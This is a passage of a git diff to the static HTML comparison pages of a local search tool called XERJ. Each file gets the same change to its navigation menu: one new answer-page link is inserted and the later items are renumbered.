class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-spotlight.html b/landing/compare/xerj-vs-spotlight.htmlindex 013bb6edc..fa45657cd 100644--- a/landing/compare/xerj-vs-spotlight.html+++ b/landing/compare/xerj-vs-spotlight.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-typesense.html b/landing/compare/xerj-vs-typesense.htmlindex 1ba48bf1d..3f0fe9bb4 100644--- a/landing/compare/xerj-vs-typesense.html+++ b/landing/compare/xerj-vs-typesense.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-vector-database.html b/landing/compare/xerj-vs-vector-database.htmlindex 448f2819b..0fdca1868 100644--- a/landing/compare/xerj-vs-vector-database.html+++ b/landing/compare/xerj-vs-vector-database.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a 